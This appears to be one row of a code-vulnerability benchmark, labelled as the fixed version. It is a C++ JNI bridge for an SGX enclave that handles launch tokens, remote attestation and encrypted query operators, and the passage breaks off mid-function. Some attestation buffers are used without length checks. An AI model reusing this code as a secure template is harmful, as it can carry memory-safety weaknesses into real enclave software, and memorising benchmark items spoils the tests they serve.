id
stringlengths
25
30
content
stringlengths
14
942k
max_stars_repo_path
stringlengths
49
55
crossvul-cpp_data_good_517_0
/** * Copyright(C) 2011-2015 Intel Corporation All Rights Reserved. * * The source code, information and material ("Material") contained herein is * owned by Intel Corporation or its suppliers or licensors, and title to such * Material remains with Intel Corporation or its suppliers or licensors. The * Material contains proprietary information of Intel or its suppliers and * licensors. The Material is protected by worldwide copyright laws and treaty * provisions. No part of the Material may be used, copied, reproduced, * modified, published, uploaded, posted, transmitted, distributed or disclosed * in any way without Intel's prior express written permission. No license * under any patent, copyright or other intellectual property rights in the * Material is granted to or conferred upon you, either expressly, by * implication, inducement, estoppel or otherwise. Any license under such * intellectual property rights must be express and approved by Intel in * writing. * * *Third Party trademarks are the property of their respective owners. * * Unless otherwise agreed by Intel in writing, you may not remove or alter * this notice or any other notice embedded in Materials by Intel or Intel's * suppliers or licensors in any way. */ #include "SGXEnclave.h" // MAX_PATH, getpwuid #include <sys/types.h> #ifdef _MSC_VER # include <Shlobj.h> #else # include <unistd.h> # include <pwd.h> # define MAX_PATH FILENAME_MAX #endif #include <climits> #include <cstdarg> #include <cstdio> #include <cstdlib> #include <sys/time.h> // struct timeval #include <time.h> // gettimeofday #include <sgx_eid.h> /* sgx_enclave_id_t */ #include <sgx_error.h> /* sgx_status_t */ #include <sgx_uae_service.h> #include <sgx_ukey_exchange.h> #include "Enclave_u.h" #include "service_provider.h" #ifndef TRUE # define TRUE 1 #endif #ifndef FALSE # define FALSE 0 #endif #if defined(_MSC_VER) # define TOKEN_FILENAME "Enclave.token" # define ENCLAVE_FILENAME "Enclave.signed.dll" #elif defined(__GNUC__) # define TOKEN_FILENAME "enclave.token" # define ENCLAVE_FILENAME "enclave.signed.so" #endif static sgx_ra_context_t context = INT_MAX; JavaVM* jvm; /* Global EID shared by multiple threads */ sgx_enclave_id_t global_eid = 0; typedef struct _sgx_errlist_t { sgx_status_t err; const char *msg; const char *sug; /* Suggestion */ } sgx_errlist_t; /* Error code returned by sgx_create_enclave */ static sgx_errlist_t sgx_errlist[] = { { SGX_ERROR_UNEXPECTED, "Unexpected error occurred.", NULL }, { SGX_ERROR_INVALID_PARAMETER, "Invalid parameter.", NULL }, { SGX_ERROR_OUT_OF_MEMORY, "Out of memory.", NULL }, { SGX_ERROR_ENCLAVE_LOST, "Power transition occurred.", "Please refer to the sample \"PowerTransition\" for details." }, { SGX_ERROR_INVALID_ENCLAVE, "Invalid enclave image.", NULL }, { SGX_ERROR_INVALID_ENCLAVE_ID, "Invalid enclave identification.", NULL }, { SGX_ERROR_INVALID_SIGNATURE, "Invalid enclave signature.", NULL }, { SGX_ERROR_OUT_OF_EPC, "Out of EPC memory.", NULL }, { SGX_ERROR_NO_DEVICE, "Invalid SGX device.", "Please make sure SGX module is enabled in the BIOS, and install SGX driver afterwards." }, { SGX_ERROR_MEMORY_MAP_CONFLICT, "Memory map conflicted.", NULL }, { SGX_ERROR_INVALID_METADATA, "Invalid enclave metadata.", NULL }, { SGX_ERROR_DEVICE_BUSY, "SGX device was busy.", NULL }, { SGX_ERROR_INVALID_VERSION, "Enclave version was invalid.", NULL }, { SGX_ERROR_INVALID_ATTRIBUTE, "Enclave was not authorized.", NULL }, { SGX_ERROR_ENCLAVE_FILE_ACCESS, "Can't open enclave file.", NULL }, { SGX_SUCCESS, "SGX call success", NULL }, }; /* Check error conditions for loading enclave */ void print_error_message(sgx_status_t ret) { size_t idx = 0; size_t ttl = sizeof sgx_errlist/sizeof sgx_errlist[0]; for (idx = 0; idx < ttl; idx++) { if(ret == sgx_errlist[idx].err) { if(NULL != sgx_errlist[idx].sug) printf("Info: %s\n", sgx_errlist[idx].sug); printf("Error: %s\n", sgx_errlist[idx].msg); break; } } if (idx == ttl) printf("Error: Unexpected error occurred.\n"); } void sgx_check_quiet(const char* message, sgx_status_t ret) { if (ret != SGX_SUCCESS) { printf("%s failed\n", message); print_error_message(ret); } } class scoped_timer { public: scoped_timer(uint64_t *total_time) { this->total_time = total_time; struct timeval start; gettimeofday(&start, NULL); time_start = start.tv_sec * 1000000 + start.tv_usec; } ~scoped_timer() { struct timeval end; gettimeofday(&end, NULL); time_end = end.tv_sec * 1000000 + end.tv_usec; *total_time += time_end - time_start; } uint64_t * total_time; uint64_t time_start, time_end; }; #if defined(PERF) || defined(DEBUG) #define sgx_check(message, op) do { \ printf("%s running...\n", message); \ uint64_t t_ = 0; \ sgx_status_t ret_; \ { \ scoped_timer timer_(&t_); \ ret_ = op; \ } \ double t_ms_ = ((double) t_) / 1000; \ if (ret_ != SGX_SUCCESS) { \ printf("%s failed (%f ms)\n", message, t_ms_); \ print_error_message(ret_); \ } else { \ printf("%s done (%f ms).\n", message, t_ms_); \ } \ } while (0) #else #define sgx_check(message, op) sgx_check_quiet(message, op) #endif /* Initialize the enclave: * Step 1: retrive the launch token saved by last transaction * Step 2: call sgx_create_enclave to initialize an enclave instance * Step 3: save the launch token if it is updated */ int initialize_enclave(void) { char token_path[MAX_PATH] = {'\0'}; sgx_launch_token_t token = {0}; sgx_status_t ret = SGX_ERROR_UNEXPECTED; int updated = 0; /* Step 1: retrive the launch token saved by last transaction */ #ifdef _MSC_VER /* try to get the token saved in CSIDL_LOCAL_APPDATA */ if (S_OK != SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, token_path)) { strncpy_s(token_path, _countof(token_path), TOKEN_FILENAME, sizeof(TOKEN_FILENAME)); } else { strncat_s(token_path, _countof(token_path), "\\" TOKEN_FILENAME, sizeof(TOKEN_FILENAME)+2); } /* open the token file */ HANDLE token_handler = CreateFileA(token_path, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL, NULL); if (token_handler == INVALID_HANDLE_VALUE) { printf("Warning: Failed to create/open the launch token file \"%s\".\n", token_path); } else { /* read the token from saved file */ DWORD read_num = 0; ReadFile(token_handler, token, sizeof(sgx_launch_token_t), &read_num, NULL); if (read_num != 0 && read_num != sizeof(sgx_launch_token_t)) { /* if token is invalid, clear the buffer */ memset(&token, 0x0, sizeof(sgx_launch_token_t)); printf("Warning: Invalid launch token read from \"%s\".\n", token_path); } } #else /* __GNUC__ */ /* try to get the token saved in $HOME */ const char *home_dir = getpwuid(getuid())->pw_dir; if (home_dir != NULL && (strlen(home_dir)+strlen("/")+sizeof(TOKEN_FILENAME)+1) <= MAX_PATH) { /* compose the token path */ strncpy(token_path, home_dir, strlen(home_dir)); strncat(token_path, "/", strlen("/")); strncat(token_path, TOKEN_FILENAME, sizeof(TOKEN_FILENAME)+1); } else { /* if token path is too long or $HOME is NULL */ strncpy(token_path, TOKEN_FILENAME, sizeof(TOKEN_FILENAME)); } FILE *fp = fopen(token_path, "rb"); if (fp == NULL && (fp = fopen(token_path, "wb")) == NULL) { printf("Warning: Failed to create/open the launch token file \"%s\".\n", token_path); } if (fp != NULL) { /* read the token from saved file */ size_t read_num = fread(token, 1, sizeof(sgx_launch_token_t), fp); if (read_num != 0 && read_num != sizeof(sgx_launch_token_t)) { /* if token is invalid, clear the buffer */ memset(&token, 0x0, sizeof(sgx_launch_token_t)); printf("Warning: Invalid launch token read from \"%s\".\n", token_path); } } #endif /* Step 2: call sgx_create_enclave to initialize an enclave instance */ /* Debug Support: set 2nd parameter to 1 */ ret = sgx_create_enclave(ENCLAVE_FILENAME, SGX_DEBUG_FLAG, &token, &updated, &global_eid, NULL); if (ret != SGX_SUCCESS) { print_error_message(ret); #ifdef _MSC_VER if (token_handler != INVALID_HANDLE_VALUE) CloseHandle(token_handler); #else if (fp != NULL) fclose(fp); #endif return -1; } /* Step 3: save the launch token if it is updated */ #ifdef _MSC_VER if (updated == FALSE || token_handler == INVALID_HANDLE_VALUE) { /* if the token is not updated, or file handler is invalid, do not perform saving */ if (token_handler != INVALID_HANDLE_VALUE) CloseHandle(token_handler); return 0; } /* flush the file cache */ FlushFileBuffers(token_handler); /* set access offset to the begin of the file */ SetFilePointer(token_handler, 0, NULL, FILE_BEGIN); /* write back the token */ DWORD write_num = 0; WriteFile(token_handler, token, sizeof(sgx_launch_token_t), &write_num, NULL); if (write_num != sizeof(sgx_launch_token_t)) printf("Warning: Failed to save launch token to \"%s\".\n", token_path); CloseHandle(token_handler); #else /* __GNUC__ */ if (updated == FALSE || fp == NULL) { /* if the token is not updated, or file handler is invalid, do not perform saving */ if (fp != NULL) fclose(fp); return 0; } /* reopen the file with write capablity */ fp = freopen(token_path, "wb", fp); if (fp == NULL) return 0; size_t write_num = fwrite(token, 1, sizeof(sgx_launch_token_t), fp); if (write_num != sizeof(sgx_launch_token_t)) printf("Warning: Failed to save launch token to \"%s\".\n", token_path); fclose(fp); #endif return 0; } /* OCall functions */ void ocall_print_string(const char *str) { /* Proxy/Bridge will check the length and null-terminate * the input string to prevent buffer overflow. */ printf("%s", str); fflush(stdout); } void unsafe_ocall_malloc(size_t size, uint8_t **ret) { *ret = static_cast<uint8_t *>(malloc(size)); } void ocall_free(uint8_t *buf) { free(buf); } void ocall_exit(int exit_code) { std::exit(exit_code); } /** * Throw a Java exception with the specified message. * * This function is intended to be invoked from an ecall that was in turn invoked by a JNI method. * As a result of calling this function, the JNI method will throw a Java exception upon its return. * * Important: Note that this function will return to the caller. The exception is only thrown at the * end of the JNI method invocation. */ void ocall_throw(const char *message) { JNIEnv* env; jvm->AttachCurrentThread((void**) &env, NULL); jclass exception = env->FindClass("edu/berkeley/cs/rise/opaque/OpaqueException"); env->ThrowNew(exception, message); } #if defined(_MSC_VER) /* query and enable SGX device*/ int query_sgx_status() { sgx_device_status_t sgx_device_status; sgx_status_t sgx_ret = sgx_enable_device(&sgx_device_status); if (sgx_ret != SGX_SUCCESS) { printf("Failed to get SGX device status.\n"); return -1; } else { switch (sgx_device_status) { case SGX_ENABLED: return 0; case SGX_DISABLED_REBOOT_REQUIRED: printf("SGX device has been enabled. Please reboot your machine.\n"); return -1; case SGX_DISABLED_LEGACY_OS: printf("SGX device can't be enabled on an OS that doesn't support EFI interface.\n"); return -1; case SGX_DISABLED: printf("SGX device not found.\n"); return -1; default: printf("Unexpected error.\n"); return -1; } } } #endif JNIEXPORT jlong JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_StartEnclave( JNIEnv *env, jobject obj, jstring library_path) { (void)env; (void)obj; env->GetJavaVM(&jvm); sgx_enclave_id_t eid; sgx_launch_token_t token = {0}; int updated = 0; const char *library_path_str = env->GetStringUTFChars(library_path, nullptr); sgx_check("StartEnclave", sgx_create_enclave( library_path_str, SGX_DEBUG_FLAG, &token, &updated, &eid, nullptr)); env->ReleaseStringUTFChars(library_path, library_path_str); return eid; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_RemoteAttestation0( JNIEnv *env, jobject obj) { (void)env; (void)obj; // in the first step of the remote attestation, generate message 1 to send to the client int ret = 0; // Preparation for remote attestation by configuring extended epid group id // This is Intel's group signature scheme for trusted hardware // It keeps the machine anonymous while allowing the client to use a single public verification key to verify uint32_t extended_epid_group_id = 0; ret = sgx_get_extended_epid_group_id(&extended_epid_group_id); if (SGX_SUCCESS != (sgx_status_t)ret) { fprintf(stdout, "\nError, call sgx_get_extended_epid_group_id fail [%s].", __FUNCTION__); jbyteArray array_ret = env->NewByteArray(0); return array_ret; } #ifdef DEBUG fprintf(stdout, "\nCall sgx_get_extended_epid_group_id success."); #endif // The ISV application sends msg0 to the SP. // The ISV decides whether to support this extended epid group id. #ifdef DEBUG fprintf(stdout, "\nSending msg0 to remote attestation service provider.\n"); #endif jbyteArray array_ret = env->NewByteArray(sizeof(uint32_t)); env->SetByteArrayRegion(array_ret, 0, sizeof(uint32_t), (jbyte *) &extended_epid_group_id); return array_ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_RemoteAttestation1( JNIEnv *env, jobject obj, jlong eid) { (void)env; (void)obj; (void)eid; // Remote attestation will be initiated when the ISV server challenges the ISV // app or if the ISV app detects it doesn't have the credentials // (shared secret) from a previous attestation required for secure // communication with the server. int ret = 0; int enclave_lost_retry_time = 2; sgx_status_t status; // Ideally, this check would be around the full attestation flow. do { ret = ecall_enclave_init_ra(eid, &status, false, &context); } while (SGX_ERROR_ENCLAVE_LOST == ret && enclave_lost_retry_time--); if (status != SGX_SUCCESS) { printf("[RemoteAttestation1] enclave_init_ra's status is %u\n", (uint32_t) status); std::exit(1); } uint8_t *msg1 = (uint8_t *) malloc(sizeof(sgx_ra_msg1_t)); #ifdef DEBUG printf("[RemoteAttestation1] context is %u, eid: %u\n", (uint32_t) context, (uint32_t) eid); #endif ret = sgx_ra_get_msg1(context, eid, sgx_ra_get_ga, (sgx_ra_msg1_t*) msg1); if(SGX_SUCCESS != ret) { ret = -1; fprintf(stdout, "\nError, call sgx_ra_get_msg1 fail [%s].", __FUNCTION__); jbyteArray array_ret = env->NewByteArray(0); return array_ret; } else { #ifdef DEBUG fprintf(stdout, "\nCall sgx_ra_get_msg1 success.\n"); fprintf(stdout, "\nMSG1 body generated -\n"); PRINT_BYTE_ARRAY(stdout, msg1, sizeof(sgx_ra_msg1_t)); #endif } // The ISV application sends msg1 to the SP to get msg2, // msg2 needs to be freed when no longer needed. // The ISV decides whether to use linkable or unlinkable signatures. #ifdef DEBUG fprintf(stdout, "\nSending msg1 to remote attestation service provider." "Expecting msg2 back.\n"); #endif jbyteArray array_ret = env->NewByteArray(sizeof(sgx_ra_msg1_t)); env->SetByteArrayRegion(array_ret, 0, sizeof(sgx_ra_msg1_t), (jbyte *) msg1); free(msg1); return array_ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_RemoteAttestation2( JNIEnv *env, jobject obj, jlong eid, jbyteArray msg2_input) { (void)env; (void)obj; int ret = 0; //sgx_ra_context_t context = INT_MAX; (void)ret; (void)eid; // Successfully sent msg1 and received a msg2 back. // Time now to check msg2. //uint32_t input_len = (uint32_t) env->GetArrayLength(msg2_input); jboolean if_copy = false; jbyte *ptr = env->GetByteArrayElements(msg2_input, &if_copy); sgx_ra_msg2_t* p_msg2_body = (sgx_ra_msg2_t*)(ptr); #ifdef DEBUG printf("Printing p_msg2_body\n"); PRINT_BYTE_ARRAY(stdout, p_msg2_body, sizeof(sgx_ra_msg2_t)); #endif uint32_t msg3_size = 0; sgx_ra_msg3_t *msg3 = NULL; // The ISV app now calls uKE sgx_ra_proc_msg2, // The ISV app is responsible for freeing the returned p_msg3! #ifdef DEBUG printf("[RemoteAttestation2] context is %u, eid: %u\n", (uint32_t) context, (uint32_t) eid); #endif ret = sgx_ra_proc_msg2(context, eid, sgx_ra_proc_msg2_trusted, sgx_ra_get_msg3_trusted, p_msg2_body, sizeof(sgx_ra_msg2_t), &msg3, &msg3_size); if (!msg3) { fprintf(stdout, "\nError, call sgx_ra_proc_msg2 fail. msg3 = 0x%p [%s].\n", msg3, __FUNCTION__); print_error_message((sgx_status_t) ret); jbyteArray array_ret = env->NewByteArray(0); return array_ret; } if(SGX_SUCCESS != (sgx_status_t)ret) { fprintf(stdout, "\nError, call sgx_ra_proc_msg2 fail. " "ret = 0x%08x [%s].\n", ret, __FUNCTION__); print_error_message((sgx_status_t) ret); jbyteArray array_ret = env->NewByteArray(0); return array_ret; } else { #ifdef DEBUG fprintf(stdout, "\nCall sgx_ra_proc_msg2 success.\n"); #endif } jbyteArray array_ret = env->NewByteArray(msg3_size); env->SetByteArrayRegion(array_ret, 0, msg3_size, (jbyte *) msg3); free(msg3); return array_ret; } JNIEXPORT void JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_RemoteAttestation3( JNIEnv *env, jobject obj, jlong eid, jbyteArray att_result_input) { (void)env; (void)obj; #ifdef DEBUG printf("RemoteAttestation3 called\n"); #endif sgx_status_t status = SGX_SUCCESS; //uint32_t input_len = (uint32_t) env->GetArrayLength(att_result_input); jboolean if_copy = false; jbyte *ptr = env->GetByteArrayElements(att_result_input, &if_copy); ra_samp_response_header_t *att_result_full = (ra_samp_response_header_t *)(ptr); sample_ra_att_result_msg_t *att_result = (sample_ra_att_result_msg_t *) att_result_full->body; #ifdef DEBUG printf("[RemoteAttestation3] att_result's size is %u\n", att_result_full->size); #endif // Check the MAC using MK on the attestation result message. // The format of the attestation result message is ISV specific. // This is a simple form for demonstration. In a real product, // the ISV may want to communicate more information. int ret = 0; ret = ecall_verify_att_result_mac(eid, &status, context, (uint8_t*)&att_result->platform_info_blob, sizeof(ias_platform_info_blob_t), (uint8_t*)&att_result->mac, sizeof(sgx_mac_t)); if((SGX_SUCCESS != ret) || (SGX_SUCCESS != status)) { fprintf(stdout, "\nError: INTEGRITY FAILED - attestation result message MK based cmac failed in [%s], status is %u", __FUNCTION__, (uint32_t) status); return ; } bool attestation_passed = true; // Check the attestation result for pass or fail. // Whether attestation passes or fails is a decision made by the ISV Server. // When the ISV server decides to trust the enclave, then it will return success. // When the ISV server decided to not trust the enclave, then it will return failure. if (0 != att_result_full->status[0] || 0 != att_result_full->status[1]) { fprintf(stdout, "\nError, attestation result message MK based cmac " "failed in [%s].", __FUNCTION__); attestation_passed = false; } // The attestation result message should contain a field for the Platform // Info Blob (PIB). The PIB is returned by attestation server in the attestation report. // It is not returned in all cases, but when it is, the ISV app // should pass it to the blob analysis API called sgx_report_attestation_status() // along with the trust decision from the ISV server. // The ISV application will take action based on the update_info. // returned in update_info by the API. // This call is stubbed out for the sample. // // sgx_update_info_bit_t update_info; // ret = sgx_report_attestation_status( // &p_att_result_msg_body->platform_info_blob, // attestation_passed ? 0 : 1, &update_info); // Get the shared secret sent by the server using SK (if attestation // passed) #ifdef DEBUG printf("[RemoteAttestation3] %u\n", attestation_passed); #endif if (attestation_passed) { ret = ecall_put_secret_data(eid, &status, context, att_result->secret.payload, att_result->secret.payload_size, att_result->secret.payload_tag); if((SGX_SUCCESS != ret) || (SGX_SUCCESS != status)) { fprintf(stdout, "\nError, attestation result message secret " "using SK based AESGCM failed in [%s]. ret = " "0x%0x. status = 0x%0x", __FUNCTION__, ret, status); return ; } } fprintf(stdout, "\nSecret successfully received from server."); fprintf(stdout, "\nRemote attestation success!\n"); #ifdef DEBUG fprintf(stdout, "Destroying the key exchange context\n"); #endif ecall_enclave_ra_close(eid, context); } JNIEXPORT void JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_StopEnclave( JNIEnv *env, jobject obj, jlong eid) { (void)env; (void)obj; sgx_check("StopEnclave", sgx_destroy_enclave(eid)); } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_Project( JNIEnv *env, jobject obj, jlong eid, jbyteArray project_list, jbyteArray input_rows) { (void)obj; jboolean if_copy; uint32_t project_list_length = (uint32_t) env->GetArrayLength(project_list); uint8_t *project_list_ptr = (uint8_t *) env->GetByteArrayElements(project_list, &if_copy); uint32_t input_rows_length = (uint32_t) env->GetArrayLength(input_rows); uint8_t *input_rows_ptr = (uint8_t *) env->GetByteArrayElements(input_rows, &if_copy); uint8_t *output_rows; size_t output_rows_length; sgx_check("Project", ecall_project( eid, project_list_ptr, project_list_length, input_rows_ptr, input_rows_length, &output_rows, &output_rows_length)); env->ReleaseByteArrayElements(project_list, (jbyte *) project_list_ptr, 0); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, (jbyte *) output_rows); free(output_rows); return ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_Filter( JNIEnv *env, jobject obj, jlong eid, jbyteArray condition, jbyteArray input_rows) { (void)obj; jboolean if_copy; size_t condition_length = (size_t) env->GetArrayLength(condition); uint8_t *condition_ptr = (uint8_t *) env->GetByteArrayElements(condition, &if_copy); uint32_t input_rows_length = (uint32_t) env->GetArrayLength(input_rows); uint8_t *input_rows_ptr = (uint8_t *) env->GetByteArrayElements(input_rows, &if_copy); uint8_t *output_rows; size_t output_rows_length; sgx_check("Filter", ecall_filter( eid, condition_ptr, condition_length, input_rows_ptr, input_rows_length, &output_rows, &output_rows_length)); env->ReleaseByteArrayElements(condition, (jbyte *) condition_ptr, 0); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, (jbyte *) output_rows); free(output_rows); return ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_Encrypt( JNIEnv *env, jobject obj, jlong eid, jbyteArray plaintext) { (void)obj; uint32_t plength = (uint32_t) env->GetArrayLength(plaintext); jboolean if_copy = false; jbyte *ptr = env->GetByteArrayElements(plaintext, &if_copy); uint8_t *plaintext_ptr = (uint8_t *) ptr; const jsize clength = plength + SGX_AESGCM_IV_SIZE + SGX_AESGCM_MAC_SIZE; jbyteArray ciphertext = env->NewByteArray(clength); uint8_t *ciphertext_copy = new uint8_t[clength]; sgx_check_quiet( "Encrypt", ecall_encrypt(eid, plaintext_ptr, plength, ciphertext_copy, (uint32_t) clength)); env->SetByteArrayRegion(ciphertext, 0, clength, (jbyte *) ciphertext_copy); env->ReleaseByteArrayElements(plaintext, ptr, 0); delete[] ciphertext_copy; return ciphertext; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_Sample( JNIEnv *env, jobject obj, jlong eid, jbyteArray input_rows) { (void)obj; jboolean if_copy; size_t input_rows_length = static_cast<size_t>(env->GetArrayLength(input_rows)); uint8_t *input_rows_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(input_rows, &if_copy)); uint8_t *output_rows; size_t output_rows_length; sgx_check("Sample", ecall_sample( eid, input_rows_ptr, input_rows_length, &output_rows, &output_rows_length)); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, (jbyte *) output_rows); free(output_rows); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); return ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_FindRangeBounds( JNIEnv *env, jobject obj, jlong eid, jbyteArray sort_order, jint num_partitions, jbyteArray input_rows) { (void)obj; jboolean if_copy; size_t sort_order_length = static_cast<size_t>(env->GetArrayLength(sort_order)); uint8_t *sort_order_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(sort_order, &if_copy)); size_t input_rows_length = static_cast<size_t>(env->GetArrayLength(input_rows)); uint8_t *input_rows_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(input_rows, &if_copy)); uint8_t *output_rows; size_t output_rows_length; sgx_check("Find Range Bounds", ecall_find_range_bounds( eid, sort_order_ptr, sort_order_length, num_partitions, input_rows_ptr, input_rows_length, &output_rows, &output_rows_length)); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, reinterpret_cast<jbyte *>(output_rows)); free(output_rows); env->ReleaseByteArrayElements(sort_order, reinterpret_cast<jbyte *>(sort_order_ptr), 0); env->ReleaseByteArrayElements(input_rows, reinterpret_cast<jbyte *>(input_rows_ptr), 0); return ret; } JNIEXPORT jobjectArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_PartitionForSort( JNIEnv *env, jobject obj, jlong eid, jbyteArray sort_order, jint num_partitions, jbyteArray input_rows, jbyteArray boundary_rows) { (void)obj; jboolean if_copy; size_t sort_order_length = static_cast<size_t>(env->GetArrayLength(sort_order)); uint8_t *sort_order_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(sort_order, &if_copy)); size_t input_rows_length = static_cast<size_t>(env->GetArrayLength(input_rows)); uint8_t *input_rows_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(input_rows, &if_copy)); size_t boundary_rows_length = static_cast<size_t>(env->GetArrayLength(boundary_rows)); uint8_t *boundary_rows_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(boundary_rows, &if_copy)); uint8_t **output_partitions = new uint8_t *[num_partitions]; size_t *output_partition_lengths = new size_t[num_partitions]; sgx_check("Partition For Sort", ecall_partition_for_sort( eid, sort_order_ptr, sort_order_length, num_partitions, input_rows_ptr, input_rows_length, boundary_rows_ptr, boundary_rows_length, output_partitions, output_partition_lengths)); env->ReleaseByteArrayElements(sort_order, reinterpret_cast<jbyte *>(sort_order_ptr), 0); env->ReleaseByteArrayElements(input_rows, reinterpret_cast<jbyte *>(input_rows_ptr), 0); env->ReleaseByteArrayElements(boundary_rows, reinterpret_cast<jbyte *>(boundary_rows_ptr), 0); jobjectArray result = env->NewObjectArray(num_partitions, env->FindClass("[B"), nullptr); for (jint i = 0; i < num_partitions; i++) { jbyteArray partition = env->NewByteArray(output_partition_lengths[i]); env->SetByteArrayRegion(partition, 0, output_partition_lengths[i], reinterpret_cast<jbyte *>(output_partitions[i])); free(output_partitions[i]); env->SetObjectArrayElement(result, i, partition); } delete[] output_partitions; delete[] output_partition_lengths; return result; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_ExternalSort( JNIEnv *env, jobject obj, jlong eid, jbyteArray sort_order, jbyteArray input_rows) { (void)obj; jboolean if_copy; size_t sort_order_length = static_cast<size_t>(env->GetArrayLength(sort_order)); uint8_t *sort_order_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(sort_order, &if_copy)); size_t input_rows_length = static_cast<size_t>(env->GetArrayLength(input_rows)); uint8_t *input_rows_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(input_rows, &if_copy)); uint8_t *output_rows; size_t output_rows_length; sgx_check("External non-oblivious sort", ecall_external_sort(eid, sort_order_ptr, sort_order_length, input_rows_ptr, input_rows_length, &output_rows, &output_rows_length)); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, reinterpret_cast<jbyte *>(output_rows)); free(output_rows); env->ReleaseByteArrayElements(sort_order, reinterpret_cast<jbyte *>(sort_order_ptr), 0); env->ReleaseByteArrayElements(input_rows, reinterpret_cast<jbyte *>(input_rows_ptr), 0); return ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_ScanCollectLastPrimary( JNIEnv *env, jobject obj, jlong eid, jbyteArray join_expr, jbyteArray input_rows) { (void)obj; jboolean if_copy; uint32_t join_expr_length = (uint32_t) env->GetArrayLength(join_expr); uint8_t *join_expr_ptr = (uint8_t *) env->GetByteArrayElements(join_expr, &if_copy); uint32_t input_rows_length = (uint32_t) env->GetArrayLength(input_rows); uint8_t *input_rows_ptr = (uint8_t *) env->GetByteArrayElements(input_rows, &if_copy); uint8_t *output_rows; size_t output_rows_length; sgx_check("Scan Collect Last Primary", ecall_scan_collect_last_primary( eid, join_expr_ptr, join_expr_length, input_rows_ptr, input_rows_length, &output_rows, &output_rows_length)); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, (jbyte *) output_rows); free(output_rows); env->ReleaseByteArrayElements(join_expr, (jbyte *) join_expr_ptr, 0); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); return ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_NonObliviousSortMergeJoin( JNIEnv *env, jobject obj, jlong eid, jbyteArray join_expr, jbyteArray input_rows, jbyteArray join_row) { (void)obj; jboolean if_copy; uint32_t join_expr_length = (uint32_t) env->GetArrayLength(join_expr); uint8_t *join_expr_ptr = (uint8_t *) env->GetByteArrayElements(join_expr, &if_copy); uint32_t input_rows_length = (uint32_t) env->GetArrayLength(input_rows); uint8_t *input_rows_ptr = (uint8_t *) env->GetByteArrayElements(input_rows, &if_copy); uint32_t join_row_length = (uint32_t) env->GetArrayLength(join_row); uint8_t *join_row_ptr = (uint8_t *) env->GetByteArrayElements(join_row, &if_copy); uint8_t *output_rows; size_t output_rows_length; sgx_check("Non-oblivious SortMergeJoin", ecall_non_oblivious_sort_merge_join( eid, join_expr_ptr, join_expr_length, input_rows_ptr, input_rows_length, join_row_ptr, join_row_length, &output_rows, &output_rows_length)); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, (jbyte *) output_rows); free(output_rows); env->ReleaseByteArrayElements(join_expr, (jbyte *) join_expr_ptr, 0); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); env->ReleaseByteArrayElements(join_row, (jbyte *) join_row_ptr, 0); return ret; } JNIEXPORT jobject JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_NonObliviousAggregateStep1( JNIEnv *env, jobject obj, jlong eid, jbyteArray agg_op, jbyteArray input_rows) { (void)obj; jboolean if_copy; uint32_t agg_op_length = (uint32_t) env->GetArrayLength(agg_op); uint8_t *agg_op_ptr = (uint8_t *) env->GetByteArrayElements(agg_op, &if_copy); uint32_t input_rows_length = (uint32_t) env->GetArrayLength(input_rows); uint8_t *input_rows_ptr = (uint8_t *) env->GetByteArrayElements(input_rows, &if_copy); uint8_t *first_row; size_t first_row_length; uint8_t *last_group; size_t last_group_length; uint8_t *last_row; size_t last_row_length; sgx_check("Non-Oblivious Aggregate Step 1", ecall_non_oblivious_aggregate_step1( eid, agg_op_ptr, agg_op_length, input_rows_ptr, input_rows_length, &first_row, &first_row_length, &last_group, &last_group_length, &last_row, &last_row_length)); jbyteArray first_row_array = env->NewByteArray(first_row_length); 